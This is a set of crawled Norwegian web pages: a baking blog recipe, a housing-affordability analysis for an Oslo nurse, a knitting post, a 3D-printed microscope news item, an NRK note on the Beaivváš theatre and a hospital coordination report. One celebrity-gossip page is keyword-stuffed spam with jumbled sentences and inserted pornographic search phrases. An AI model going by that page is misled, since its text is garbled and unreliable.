{"url": "http://feelinggoodbyh.blogspot.com/2014/11/bakedag-nesten-sa-du-kan-lukte.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:31Z", "text": "\n\n## mandag 17. november 2014\n\n### Det ble bakedag\\!\n\n**Bakedag\\!**\n\n**Nesten s\u00e5 du kan lukte gj\u00e6rbaksten?**\n\nJa, i skrivende stund lukter det farlig godt p\u00e5 kj\u00f8kkenet mitt.\n\nLitt innimellom lunch og formiddagsm\u00f8te kom bakelysten over meg. Og optimistisk gikk jeg i gang med \u00e5 bake julekake og baugetter.\n\nN\u00e5 st\u00e5r det ferdige resultatet p\u00e5 kj\u00f8kkenbenken, og venter p\u00e5 \u00e5 bli pakket i plastposer og lagt i fryseren.\u00a0\n\nDette skal f\u00f8rst nytes litt n\u00e6rmere jul.\n\nHar du lyst til \u00e5 bake du ogs\u00e5?\n\n  \nHer kommer oppskrift p\u00e5;\u00a0\n\n  \n**Alle tiders julekake**\n\n  \n\n2 store kaker el 4 sm\u00e5\n\nca 1 \u00bd time\n\n  \n\nDette trenger du:\n\n  \n\n50 g\u00a0 gj\u00e6r\n\n6 \u00bd dl melk\n\n200 g sukker\n\n150 g sm\u00f8r \n\n1 kg hvetemel\n\n\u00bc ts kardemomme\n\n100 g rosiner\n\n  \n\n200\u00b0 i 40 - 50 min\n\n  \n\nSlik gj\u00f8r du:\n\n  \n\nSmuldre sm\u00f8ret i melet i en matprosessor. Tilsett sukker og kardemomme og gj\u00e6r. Varm melken fingervarm og ha den i melblandingen, elt godt. Dekk med plast og la deigen heve i 20-30 min.\n\nHa\u00a0 deigen p\u00e5 melet bakebord, elt den smidig og tilsett rosinene. Del deigen i to/fire emner og form runde kaker. Ha emnene i passende former. Dekk med klede. Hev dem ca 30 min. \n\nStek kakene midt i ovnen. Avkj\u00f8l dem p\u00e5 rist. \n\n  \nDet er superkoselig \u00e5 samles til lunsj eller kvelds med julekake p\u00e5 fatet. Eller hva med \u00e5 ha med julekake og kakao p\u00e5 termos n\u00e5r du skal p\u00e5 tur?\u00a0\n\nBaugettene har jeg lagt ut oppskrift p\u00e5 tidligere, du finner den her.\u00a0\n\nDette er bakeverk jeg har laget til jul i mange \u00e5r. Det er det som er det fine, noen gamle klassikere og noen nye oppskrifter hvert \u00e5r.\n\n  \nJeg pr\u00f8ver \u00e5 v\u00e6re litt tidlig ute med baking i \u00e5r siden jeg vil v\u00e6re bortreist hele neste uke. S\u00e5 det kan vanke en oppskrift eller to il\u00f8pet av denne uken.\n\nHa en fin mandagskveld, jeg skal bare v\u00e6re hjemme og se \u00d8yenvitnet p\u00e5 tv. Deilig med ingen andre planer.\n\n  \nFeeling good by H  kl. \n\n18:39           \n#### 2 kommentarer:\n\n1.  \n    \n    Bente18. november 2014 kl. 22:28\n    \n    S\u00e5 morsomt. Forrige tirsdag hadde skolen planleggingsfasen, ig jeg skulle v\u00e6re sammen med barnebarn og min datter. Da jeg kom til dem stod eldste barnebarn, Simon som er 11, og bakte julekake\\! Alene. De ble s\u00e5 flotte. Gutten synes det er morsom p\u00e5 kj\u00f8kkenet. Faren er utdannet kokk og n\u00e5 kokkel\u00e6rer. Gutter sier han skal bare ha det som hobby.  \n    Takk for oppskriften.\n    \n    1.  \n        \n        Feeling good by H18. november 2014 kl. 22:44\n        \n        S\u00e5 flink han er\\! Mitt barnebarn er snart tre \u00e5r, s\u00e5 det er nok en liten stund til hun svinger seg alene p\u00e5 kj\u00f8kkenet. Men, om et par helger skal hele storfamiliene tradisjontro bake sammen og da regner jeg med at hun kommer til \u00e5 spise en del kakedeig\ud83d\ude0a. Skal snart finne frem julemusikken jeg ogs\u00e5.\n        \n    \n\n## Om meg\n\n\n\n  - Feeling good by H  \n    Jeg er en dame som bor i byen, men om sommeren flytter vi p\u00e5 hytta ved sj\u00f8en. Jeg er gift med gode F og har fire flotte barn. N\u00e5r jeg har ledig tid, elsker jeg \u00e5 holde p\u00e5 med et h\u00e5ndarbeid eller lage god mat. Mitt motto i livet er; \" Det er ikke hvordan man har det, men hvordan man tar det\\!\"\n\n    Mer bunads\u00f8m\\!\n\n", "language": "no", "__index_level_0__": "039edd0b-a925-4b83-9650-372a0f22a8b6"}
{"url": "https://www.finansnorge.no/blogger/blogg-staavi/joda-en-enslig-sykepleier-kan-etablere-seg-i-oslo/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:23:37Z", "text": "\nTom Staavi\n\u00abGikk 1 million over takst\u00bb og \u00abBoligmarkedet koker\u00bb er vanlige overskrifter i disse dager. H\u00f8y l\u00f8nnsutvikling, fallende renter, befolkningstilvekst og en boligbygging som ikke har holdt tritt, har presset boligprisene oppover mange steder i Norge. S\u00e6rlig i Oslo. Mange er bekymret for at det er en boble vi ser bl\u00e5ses opp dag for dag. For et av de vanskelige sp\u00f8rsm\u00e5lene \u00e5 svare p\u00e5 er hvor godt boligprisene er fundamentert i husholdningenes \u00f8konomi.\n\nEt signal om manglende fundament og en samfunnsutvikling i feil retning, er hvis arbeidstagere med helt vanlige inntekter er sjansel\u00f8se i markedet. Det er et samfunnsproblem hvis folk med vanlige inntekter presses ut av boligmarkedet i byene av h\u00f8yinntektsgruppene. Det gir mange en lang og u\u00f8nsket reisevei fordi arbeidet m\u00e5 utf\u00f8res ulike steder i byene, for eksempel p\u00e5 sykehus, i skolen, i varehandelen og offentlig forvaltning. Derfor, kan du som enslig etablere deg i Oslo?\n\n**R\u00e5d til \u00e5 kj\u00f8pe i Oslo?**\n\nDerfor har jeg gjort regne\u00f8velsen \u00abhar en sykepleier r\u00e5d til \u00e5 kj\u00f8pe bolig i Oslo\u00bb? Og jeg har gjort \u00f8velsen for \u00e5ret 2006 og for \u00e5ret 2016.\n\nSykepleier er valgt litt tilfeldig. Det kunne like gjerne v\u00e6rt en l\u00e6rer eller et hvilket som helst annet yrke med l\u00f8nninger rundt snittet eller medianen. Jeg har f\u00e5tt tall fra Sykepleierforbundet som viser gjennomsnittsl\u00f8nnen med faste tillegg for en sykepleier i Oslo for \u00e5rene 2006 og 2016.\n\nRegnestykket er enkelt. Vi finner personens nettol\u00f8nn og trekker fra n\u00f8dvendige levekostnader utover boligen. Da har vi hva som kan brukes til l\u00e5n/sparing og forbruk utover det absolutt mest n\u00f8dvendige. L\u00e5nest\u00f8rrelsen bestemmes etter hva som er n\u00f8dvendig for \u00e5 f\u00e5 en fot innenfor boligmarkedet. Dermed vet vi ogs\u00e5 hva som er til overs etter l\u00e5nekostnad.\n\nI tillegg forutsetter jeg at vedkommende har egenkapital p\u00e5 15 prosent av kj\u00f8pesum. Det kan man diskutere om er reelt, men noe sparing og litt hjelp fra foreldre for f\u00f8rstegangskj\u00f8pere eller noe egenkapital fra en bolig man eide f\u00f8r (for eksempel ved samlivsbrudd). Statistikk fra selvangivelsen, viser at aldersgruppen under 34 \u00e5r er den som har \u00f8kt finanssparingen mest de siste \u00e5rene. En utvidet BSU-ordning med en stadig penere rente, er den viktigste forklaringen.\n\n**Hvor mye kan du kj\u00f8pe for?**\n\nRegne\u00f8velsen gir oss f\u00f8lgende mulige kj\u00f8pesum for de to \u00e5rene:\n\n**2006: maks 1 590\u00a0000**\n\n**2016: maks 2 500\u00a0000**\n\nSp\u00f8rsm\u00e5let er: hva fikk man for det i Oslo i 2006 og hva f\u00e5r man i 2016?\n\nJeg har vendt meg til selskapet Eiendomsverdi som loggf\u00f8rer alle gjennomf\u00f8rte boligtransaksjoner i Norge. Jeg har bedt dem om \u00e5 ta ut gjennomsnittlig kvadratmeterpris for omsatte leiligheter i st\u00f8rrelse 30 og 50 kvadratmeter i 2006 og i 2016 i alle Oslos bydeler. S\u00e5 forutsetter jeg at v\u00e5r sykepleier trenger 35 kvadratmeter. Det ville kostet som vist i tabellen under:\n\n\u00a0\n\n| **Bydel**         | **2006**  | **2016**  |\n| ----------------- | --------- | --------- |\n| GAMLE OSLO        | 1 341 746 | 2 415 994 |\n| ULLERN            | 1 344 341 | 2 450 399 |\n| SAGENE            | 1 354 461 | 2 559 383 |\n| GR\u00dcNERL\u00d8KKA       | 1 359 193 | 2 485 466 |\n| SENTRUM           | 1 465 475 | 2 789 535 |\n| ST.HANSHAUGEN     | 1 544 601 | 2 692 121 |\n| FROGNER           | 1 663 043 | 2 894 582 |\n\nI 2006 var det kun Frogner som ikke var oppn\u00e5elig basert p\u00e5 gjennomsnittsprisene omsatt i markedet. I 2016 kan vi observere at prisene har steget kraftig, men likevel er det bare to ekstra bydeler som faller utenfor budsjettet: Sentrum og St. Hanshaugen.\n\nHvorfor konkluderer jeg da med at det er blitt enklere i 2016? Fordi han eller hun etter boligkj\u00f8pet i 2016 har en betydelig h\u00f8yere sum til forbruk utover det n\u00f8dvendige (9290/3061) selv etter \u00e5 ha kj\u00f8pt den dyrest oppn\u00e5elige leiligheten i tabellen.\u00a0\u00a0\n\nDette regnestykket kan diskuteres. Jeg har for eksempel ikke kalkulert med kostnader til eventuelle barn, verken levekostnader eller barnehage/sfo. Det vil gj\u00f8re det vanskeligere fordi det inkluderer ulike st\u00f8tteordninger, og det vil inkludere at det finnes en partner som ogs\u00e5 i s\u00e5 fall m\u00e5 bidra.\n\nMan kan selvf\u00f8lgelig ogs\u00e5 diskutere om det er riktig \u00e5 ta snittkvadratmeterpris for leiligheter i st\u00f8rrelsesorden 30-50 og gange med 35. Generelt er de minste leilighetene noe dyrere pr kvadratmeter. Men ved bruk av snittet, betyr det at det er omsatt dyrere og billigere kvadratmetere i markedet.\n\nDen oppvakte leser vil allerede ha lagt merke til at regnestykket er f\u00f8lsomt. Legger man for eksempel p\u00e5 5 kvadratmeter, forsvinner det to bydeler i 2006 og det er kun 5 bydeler i 2016 som er oppn\u00e5elige. Men som nevnt, bufferen etter boligkostnader er st\u00f8rre i 2016 og f\u00f8lgelig kunne l\u00e5net nok v\u00e6rt \u00f8kt.\n\nPoenget her er grovt \u00e5 ansl\u00e5 om det er h\u00e5pl\u00f8st for en person med en vanlig inntekt \u00e5 kj\u00f8pe seg et sted \u00e5 bo i Oslo. Og den konklusjonen er temmelig klar. Det var ikke det i 2006 og det er ikke det i 2016. Og det kan argumenteres for at den fantastiske inntektsveksten har gjort det lettere p\u00e5 disse 10 \u00e5rene.\n\nDet som trekker i motsatt retning, er risikoen og st\u00f8rrelsen p\u00e5 n\u00f8dvendig egenkapital. L\u00e5net blir betydelig st\u00f8rre for \u00e5 komme innenfor.\n\nI og med at tilbudet av boliger i Oslo er sv\u00e6rt lavt, if\u00f8lge rapportene, kan man frykte at boligprisveksten fortsetter. Kombinerer vi det med prognosene som viser svak inntektsutvikling fremover, kan oppn\u00e5elige bydeler forsvinne som dugg for solen for v\u00e5r sykepleier i \u00e5rene som kommer. Boligbyggerne har derfor et poeng. Godkjenning og produksjon av nye boliger b\u00f8r effektiviseres i alle ledd for \u00e5 bidra til at det bygges nok boliger til overkommelige priser.\n\n## Regnestykket\n\n| **\u00a0**                                                       | **2006**      | **2016**      |\n| ----------------------------------------------------------- | ------------- | ------------- |\n| Gjennomsnittsl\u00f8nn sykepleier med faste tillegg              | 380 859       | 569 833       |\n| Skatt uten fradrag                                          | 109 328       | 152 613       |\n| Nettol\u00f8nn                                                   | 271 531       | 417 220       |\n| Netto m\u00e5nedsl\u00f8nn                                            | 22 628        | 34 768        |\n| Husholdningsutgifter                                        | 9 975         | 13 005        |\n| Disponibelt til l\u00e5n og forbruk utover det n\u00f8dvendige        | 12 653        | 21 763        |\n|                                                             |               |               |\n| L\u00e5n                                                         | 1 350 000     | 2 125 000     |\n| Rente                                                       | 7 %           | 5 %           |\n| M\u00e5nedlig kostnad 25 \u00e5rs annuitet                            | 9 592         | 12 473        |\n| Rest til sparing eller annet forbruk som ferier og lignende | 3 061         | 9 290         |\n|                                                             |               |               |\n| **Kj\u00f8pesum gitt 15 % egenkapital**                          | **1 588 235** | **2 500 000** |\n\n**L\u00f8nn**: Tall fra Sykepleierforbundet, bruttol\u00f8nn med faste tillegg, gjennomsnitt\n\n**Skatt**: Skattekalkulatorer p\u00e5 nett, kun tatt hensyn til minstefradrag\n\n**Husholdningsutgifter**: Tall fra SIFO. Men jazza dem opp med 50 prosent fordi de i utgangspunktet er lave.\n\n**L\u00e5nekostnad**: Boligl\u00e5nskalkulatoren til DNB. Antar annuitet over 25 \u00e5r.\n\n**Rente**: 7 prosent i 2006, 5 prosent i 2016. Uten \u00e5 ta hensyn til rentefradraget, reflekterer det en antatt normrente i det lange l\u00f8p p\u00e5 de to tidspunktene.\u00a0\n\n", "language": "no", "__index_level_0__": "33ffa2bd-343b-488f-a070-8f2ede643186"}
{"url": "http://guescollectionfemme.com/bilder-2866/beste-kjendiser-feiler-2077.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00236.warc.gz", "warc_date": "2018-03-24T23:26:09Z", "text": "# Beste kjendiser feiler\n\nHardt svart sex pics\n\nV\u00e5rt forhold fortsetter i vennskapelighet som trygge foreldre for v\u00e5r felles datter\u00bb, bekreftet de to i en felles uttalelse til Se og H\u00f8r.\n\nNRK Super benytter informasjonskapsler cookies slik at vi kan gi deg en bedre tjeneste. Naken dans vimeo. Selv om Amors piler har truffet blink p\u00e5 mange kjendiser ihar flere celebre par blitt historie. Beste kjendiser feiler. Et knapt \u00e5r etter at Mariah Carey br\u00f8t med ektemannen Nick Cannon fant hun lykken igjen med milliard\u00e6ren James Packer 49 i fjor sommer.\n\nDet merkelige er at det var den ellers s\u00e5 sindige trommisen Charlie Watts som slengte ut knyttneven. Tradisjon tro er imidlertid sosiale medier-entusiaster god p\u00e5 \u00e5 snu sakens kjerne til noe humoristisk. Den f\u00f8rste idrettsstjernen p\u00e5 listen, er Tiger Woods, som med sine 95 millioner dollar havner p\u00e5 en If\u00f8lge Forbes h\u00e5vet \u00e5ringen inn millioner dollar i l\u00f8pet av det siste \u00e5ret, og skriver at det er mer penger enn Madonna noen gang har tjent s\u00e5 lenge forretningsmagasinet har laget listen over topp best betalte kjendiser.\n\nLikte du denne saken? Det skal mye til \u00e5 fremdeles mene dette etter \u00e5 ha sett \u00e5rets sesong. Jamesradiostjernen Howard Stern og X-Factor\u00bb- og \u00abIdol\u00bb-dommer Simon Cowell med en inntekt p\u00e5 hele 95 millioner dollar.\n\nDet er liksom ikke til \u00e5 komme unna at Mick Jagger p\u00e5 et eller annet tidspunkt ville komme til \u00e5 f\u00e5 seg en p\u00e5 trynet av en Rolling Stone. Gammel dame porno galleri. Tore Petterson trekker seg fra semifinalen fordi han ikke liker hinderl\u00f8yper. I september ble det kjent at de gikk hver til sitt etter ti \u00e5rs ekteskap. Om det var Lee eller Rock som begynte, vites ikke begge skylder p\u00e5 hverandremen de skal i hvert fall ha truet hverandre lenge p\u00e5 e-post og sms.\n\nFansen er oppgitt og mener dette g\u00e5r utover kvaliteten p\u00e5 hennes kunstneriske virke, fortsetter han. Finanstidskriftet Forbes har funnet ut hvilke kjendiser som tjente mest i perioden juni i fjor til juni i \u00e5r, og h\u00f8yest p\u00e5 listen troner Madonna. Til tross for bruddet har Hjelmeland uttalt overfor TV 2 at de kommer til \u00e5 holde kontakten fremover likevel. Respekter andres meninger og husk at mange kan se hva du skriver.\n\nAngivelig skal Axl ha flyttet p\u00e5 drinken til Hilfigers kj\u00e6reste, og Hilfiger skal derfor ha klapset Axl over fingrene og bedt ham sette den tilbake. TV Film Forside Film Musikk B\u00f8ker VG-lista TV-guide. Ikke minst takket v\u00e6re de sterke, for mange ogs\u00e5 uventede, vennskapene, som har utviklet seg p\u00e5 g\u00e5rden. To uker etter bruddet med den skotske DJ-en Calvin Harris, hadde popyndlinga nemlig funnet lykken p\u00e5 ny.\n\nTommy Lee vs Kid Rock B\u00e5de den velutstyrte M\u00f6tley Cr\u00fce-trommisen Tommy Lee og den surmulte K\u00f8dd Rock har v\u00e6rt sammen med den storbrystede Pamela Anderson, og denne feiden stammer antageligvis derfra. Den f\u00f8rste sesongen av Farmen Kjendis har v\u00e6rt TV p\u00e5 sitt beste.\n\n\n\n## Nederlandske skole jenter\n\nUtheimOle Martin Skaug Tel: Angivelig skal Axl ha flyttet p\u00e5 drinken til Hilfigers kj\u00e6reste, og Hilfiger skal derfor ha klapset Axl over fingrene og bedt ham sette den tilbake. Nederlandske skole jenter. Nyheten om at artist og skuespiller Mia Gundersen 54 og ektemannen Marcel Leli\u00ebnhof 50 skulle skilles, kom som et stort sjokk p\u00e5 mange. Det viser seg at Chevy Chase, tallets morsomste mann, er en k\u00f8dd, og alle som har jobbet med ham, mener det.\n\nHan skulle jo bare gi Rock en klem. Er det evig optimistiske, nesten unaturlig positive, Petter Pilgaards selvtilfredse smil n\u00e5r han forteller om sitt nylig anlagte skjegg?\n\nIf\u00f8lge Forbes kommer mesteparten av inntektene fra hans tidligere suksess-filmer, filmer som \u00abE. Beste kjendiser feiler. Buede kvinner varme. Det ble en virvelvind-romanse for paret. Ikke minst takket v\u00e6re de sterke, for mange ogs\u00e5 uventede, vennskapene, som har utviklet seg p\u00e5 g\u00e5rden.\n\nDet hele skjedde p\u00e5 et hotell i Amsterdam i Trilogien har solgt 70 millioner eksemplarer verden over og filmatiseringen av den f\u00f8rste boken er planlagt og filmen har premiere neste \u00e5r. Det er umulig ikke \u00e5 bli r\u00f8rt av Tore Pettersons t\u00e5rev\u00e5te, hulkende farvel med sin trofaste venn p\u00e5 g\u00e5rden, hundevalpen Balto.\n\nFjerdeplassen tok forfatteren James Patterson, mens de resterende plassene p\u00e5 topp ti-listen fikk henholdsvis kommentatoren Glenn Beck, regiss\u00f8ren Michael Bay, produsenten Jerry Bruckheimer og artisten Lady Gaga.\n\nE24 arbeider etter V\u00e6r Varsom-plakatens reglerPersonvernerkl\u00e6ring og informasjonskapsler cookies. Leonardo DiCaprio er d\u00e5rlig til \u00e5 danse Eller er han egentlig det?\n\nTaylor Swift har v\u00e6rt kjent for \u00e5 date en rekke av Hollywoods st\u00f8rste kjekkaser. At man ikke klarer \u00e5 skyte gullfuglen p\u00e5 f\u00f8rste, eventuelt andre, og noen ganger tredje eller fjerde fors\u00f8k, er imidlertid ingen skam. Dermed var krangelen i gang, og Hilfiger klinte til Axl p\u00e5 kjeften. Bill Murray er derimot verdens koseligste fyr.\n\n\n\nDet ser ut som at fotballproffene sparker godt fra seg i \u00e5r.\n\n", "language": "no", "__index_level_0__": "6040b45f-096a-48f5-aff4-d225203c8035"}
{"url": "http://komadyret.blogspot.com/2010/04/jahooo.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:14:00Z", "text": "\n\n## 13 april 2010\n\n### Jahooo\\!\n\n\n\n  \nJippi, Jeg har f\u00e5tt meg garnvinde og n\u00f8stemaskin (alle strikkejenters dr\u00f8m?......ehhh) hehe. N\u00e5 har jeg bare lyst \u00e5 hamstre inn p\u00e5 hesper, for n\u00e5 tar det ikke lengre \"timesvis\" med n\u00f8sting for h\u00e5nd f\u00f8r jeg kan starte p\u00e5 nytt prosjekt :) Det gikk som en lek og det var en ivrig liten gutt som ogs\u00e5 ville pr\u00f8ve (selvf\u00f8lgelig pr\u00f8vde jeg den selv f\u00f8rst n\u00e5r han var i barnehagen:) ) Jeg bestilte min p\u00e5 ebay fra 8season-knitting-shop, og er veldig forn\u00f8yd, rask levering og billig :)\n\n#### 7 kommentarer:\n\n\n\n\n\nMonsterm\u00f8nster sa...\n\nS\u00e5 kjekt\\! Helt uunnv\u00e6rlig her i heimen :)\n\n 13. april 2010 kl. 19:56    \n\n\n\n\n\nMoan sa...\n\n\u00d8nsker meg en slik en\\! Utrolig kjekt\\!  \n\"Turn, baby, turn\\!\"\n\n 13. april 2010 kl. 20:08    \n\n\n\n\n\nTussi sa...\n\nHar aldri f\u00f8r sett en n\u00f8stemaskin, men den M\u00c5 da v\u00e6re kjekk \u00e5 ha\\!  \nGarnvinder har jeg 2 av, men her kalles de for hespetre :)\n\n 13. april 2010 kl. 20:29    \n\n\n\n\n\nMorgenstemning sa...\n\nKjekt \u00e5 sj\u00e5 alt du lage min flinke tante :-)\n\nKomadyret sa...\n\nSiren  \nTusen takk, setter stor pris p\u00e5 awarden :)\n\n 15. april 2010 kl. 10:19    \n\n\n\nIkkje dumt:D\n\n 24. april 2010 kl. 22:41    \n\n", "language": "no", "__index_level_0__": "c5beedd4-681d-44f2-8e41-e643cd6656dc"}
{"url": "http://3dpnorge.no/2018/02/3d-printet-mikroskop-for-smarttelefoner/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:28:45Z", "text": "### 3d-printet mikroskop for smarttelefoner\n\n**Australske forskere har utviklet et klips-filter som kan gj\u00f8re kameraet p\u00e5 din smarttelefon til et kraftfullt mikroskop. Det har kapasitet for \u00e5 studere objekter s\u00e5 sm\u00e5 som en tohundredels millimeter, og verkt\u00f8yet er hendig for \u00e5 stille helsediagnose, i forsknings\u00f8yemed, for fjerndiagnostikk og for forskere i felten.\u00a0**\n\nI stedet for \u00e5 bruke en ekstern lyskilde, er verkt\u00f8yet ogs\u00e5 i stand til \u00e5 benytte seg av telefonens innebygde blitz for \u00e5 lyslegge oppdagelser.\n\n\u2013 V\u00e5rt mobile mikroskop kan benyttes som et rimelig og b\u00e6rbart verkt\u00f8y for alle typer felt- eller fjerntliggende betraktning, forklarer sjefsutvikleren p\u00e5 RMIT, Dr. Antony Orth. \u2013 Vannkvalitet, blodpr\u00f8ver, milj\u00f8observasjoner, tidlig sykdomsoppdagelse og diagnose \u2013 dette er alle omr\u00e5der hvor v\u00e5r teknologi med letthet kan benyttes med god effekt.\n\nRMIT er en sammenslutning av Australias universiteter og private selskaper, finansiert av staten for \u00e5 utvikle nye bildeteknologier.\n\nSammen med Dr. Orth har to andre RMIT forskere E. R. Wilson og B. C. Gibson, plus J. G. Thompson fra universitetet i Adelaide medvirket til utviklingen av dette mikroskopet.\n\n**\u00c5pen kilde**\n\nKonseptet til prosjektet var \u00e5 str\u00f8mlinjeforme det klumpete utstyret som vanligvis forbindes med mikroskoper, og gj\u00f8re det tilgjengelig for s\u00e5 mange mennesker som mulig.\n\nForskerteamet \u00f8nsket ogs\u00e5 \u00e5 overkomme utfordringen med andre 3d-printede mobile mikroskopverkt\u00f8y som typisk m\u00e5tte ha ekstern belysning for \u00e5 fungere.\n\nDet gruppen har lagd er et enkelt, helst\u00f8pt klips med kanaler som er designet for \u00e5 omdirigere lyset fra telefonens lommelykt. Det kan monteres p\u00e5 baksiden og sidene p\u00e5 en iPhone 6, og er utstyrt med eksempelslide for betraktning.\n\nVed \u00e5 gj\u00f8re .stl filene til verkt\u00f8yet tilgjengelig for nedlasting, har teamet gjort det slik at alle (som har tilgang til en FFF 3d-printer) kan lage sitt eget mikroskopklips.\n\n\n\nDet 3d-printede mikroskopklipset med slide. Foto: RMIT/CNBP\n\n**Mikroskopi for alle**\n\nI testeksperimenter har teamet benyttet klipsoppsettet til \u00e5 unders\u00f8ke levende cellekulturer, plankton og levende s\u00e6dceller fra kveg, for \u00e5 demonstrere evnen til b\u00e5de m\u00f8rkfelts (p\u00e5 et m\u00f8rkt substrat) og lysfelts-mikroskopi. Dette vil kunne komme til bruk for \u00e5 hjelpe laboranter i felten til \u00e5 identifisere og diagnostisere mikrobakterielle tilstander som malaria og parasitter.\n\nMan ser for seg at klipsmikroskopet i fremtiden kan utvikles for \u00e5 passe til alle kommersielt tilgjengelige smarttelefoner.\n\n  -   \nRoger Stormo | email@example.com| 22. februar, 2018\n\n#### Pasienttilpasset 3D-printet skulder\n\nDet er jobbet mye med \u00e5 3D-printe knokler til mennesker, for eksempel kneledd. Og det \u00e5 skifte ut slitte knokler har blitt helt vanlig. Men i enkelte tilfeller er ikke dette mulig, dersom knokkelen er for skadet.\n\nRoger Stormo | firstname.lastname@example.org| 10. mars, 2018\n\n\n\n#### S\u00f8ml\u00f8se jakker og kopihoder\n\nI 2018 g\u00e5r det en b\u00f8lge av 3d-printing i motehusene, noe som gir ulike utslag i de forskjellige motehusene. Kreativ leder Demna Gvasalia i moteselskapet Balenciaga bruker 3d-printing i sine kreasjoner. Resultatet er nesten s\u00f8ml\u00f8se jakker, som er med i Balenciagas kolleksjon for H\u00f8stVinter 2018.\n\nRoger Stormo | email@example.com| 10. mars, 2018\n", "language": "no", "__index_level_0__": "cd0718d5-393b-4a96-a2e9-c43a4cc2f464"}
{"url": "https://www.nrk.no/troms/krever-losning-for-beaivva_-1.13185260", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:53:27Z", "text": "18\\. oktober 2016 kl. 15:54\n\n## Krever l\u00f8sning for Beaivv\u00e1\u0161\n\nKulturministeren og Sametingspresidenten m\u00e5 sammen finne en l\u00f8sning p\u00e5 hus-situasjonen for det samiske nasjonalteatret Beaivv\u00e1\u0161 i Kautokeino. Det skriver styret ved teatret i et \u00e5pent brev til kulturminister Linda Helleland og sametingspresident Aili Keskitalo. I over 30 \u00e5r Beaivv\u00e1\u0161 kjempet for \u00e5 f\u00e5 et eget bygg. Idag holder teatret til i lokaler som er delvis stengt p\u00e5 grunn av inneklimaet.\n\nStyret ber om at det vurderes tiltak for \u00e5 h\u00e5ndtere den umiddelbare helsefare, og at sametinget og staten legger en felles plan for hvordan den mer langsiktige bosituasjonen kan l\u00f8ses.\n\n### NRK anbefaler\n\n\n\n## Jobbet opptil 12 timer om dagen \u2013\u00a0seks dager i uka og hver helg \n\n", "language": "no", "__index_level_0__": "cdec208d-ca5f-4740-8224-660fe826d18c"}
{"url": "http://docplayer.me/3044445-Nytt-felles-samhandlingskontor-for-kommuner-pa-nedre-romerike.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:12Z", "text": "\n3 bidra til \u00e5 redusere antall \u00f8-hjelp innleggelser i spesialisthelsetjenesten. Tilbudet p\u00e5 KAD skal v\u00e6re minst like godt eller bedre enn pasienten ville ha f\u00e5tt ved innleggelse i spesialisthelsetjenesten. Det er etablert en referansegruppe for drift av KAD. Det er planlagt evaluering av drift og m\u00e5loppn\u00e5else, og det er etablert kontakt med adekvat fagmilj\u00f8 for evaluering og forskning. Viktig Informasjon om avdelingen finner du p\u00e5: Her vises l\u00f8pende oppdatert informasjon om ledige sengeplasser. Hvordan innlegge pasienter til KAD? Fastlege, ambulanse, legevakt, samt akuttmottak og poliklinikker p\u00e5 sykehus kan legge pasienter direkte inn p\u00e5 KAD etter \u00e5 ha konferert med KAD-ansvarlig lege p\u00e5 telefon Vaktansvarlig sykepleier n\u00e5s p\u00e5 telefon Nummer til vaktbasen / ekspedisjonen er Vi ber om at p\u00e5r\u00f8rende henvender seg til vaktbasen / ekspedisjonen. Prosedyre for koordinatorfunksjonen ved Ahus For pasienter og brukere med behov for langvarige og koordinerte tjenester skal kommunen og spesialisthelsetjenesten tilby koordinator uavhengig av om pasient/bruker \u00f8nsker individuell plan. Koordinatoren skal s\u00f8rge for n\u00f8dvendig oppf\u00f8lging av den enkelte pasient, sikre samordning av tjenestetilbudet samt sikre fremdrift i arbeidet med individuell plan. Koordinatorrollen erstatter ordningen med pasientansvarlig lege. Ahus har nylig vedtatt intern prosedyre (EQS 26251) for \u00e5 sikre at pasienter f\u00e5r tilbud om koordinator n\u00e5r de blir innlagt p\u00e5 sykehuset. Planen videre er at Samhandlingsavdelingen ved Ahus, som ogs\u00e5 er sykehusets Koordinerende enhet, i samr\u00e5d med involverte enheter i klinikken, skal lage en plan for oppl\u00e6ring og implementering. Det skal ogs\u00e5 utarbeides en overordnet funksjonsbeskrivelse for koordinatorfunksjonen. I tr\u00e5d med dette er det tenkt at av ordningen vil kunne innf\u00f8res i l\u00f8pet av f\u00f8rste kvartal Utskrivningsklare pasienter uten eget t\u00f8y For \u00e5 sikre at pasienters som ikke har privat t\u00f8y tilgjengelig ved utskrivning, har passende p\u00e5kledning, er det opprettet et eget t\u00f8ylager som kan benyttes. Det er utarbeidet en intern prosedyre for dette (EQS 26103). Det \u00e5 f\u00e5 tak i pasientens eget t\u00f8y kan ta tid. Det er verken \u00f8nskelig eller forsvarlig at utskrivningsklare pasienter forblir innlagt p\u00e5 grunn av manglende p\u00e5kledning. T\u00f8ylageret, med joggedresser i ulike st\u00f8rrelser, er lokalisert i tilknytning til B402 Akutt 24 og driftes i samarbeid med Sentralvaskeriet produksjon. Bruk av t\u00f8ylager ved Akutt 24: 1. T\u00f8yet er forbeholdt pasienter som er utskrivningsklare, men som er forhindret fra \u00e5 reise p\u00e5 grunn av manglende p\u00e5kledning. 2. Det b\u00f8r kunne redegj\u00f8res for at det er fors\u00f8kt \u00e5 skaffe kl\u00e6r fra pasientens p\u00e5r\u00f8rende eller fra kommune/bydel, ev. om det er andre \u00e5rsaker til at det ikke har latt seg gj\u00f8re \u00e5 f\u00e5 tak i utreiset\u00f8y til pasienten. 3. For utlevering av t\u00f8y kontaktes servicemedarbeider i akuttmottaket p\u00e5 interntelefon: Side 3 av 6\n\n\n\n4 Ski sykehus og Ortopedisk klinikk Sykehuset \u00e5pnet 8 nye senger 1. april, ytterligere 2 senger fra 26.august ved Ski sykehus. Avdelingen \u00f8kes gradvis til 20 senger i 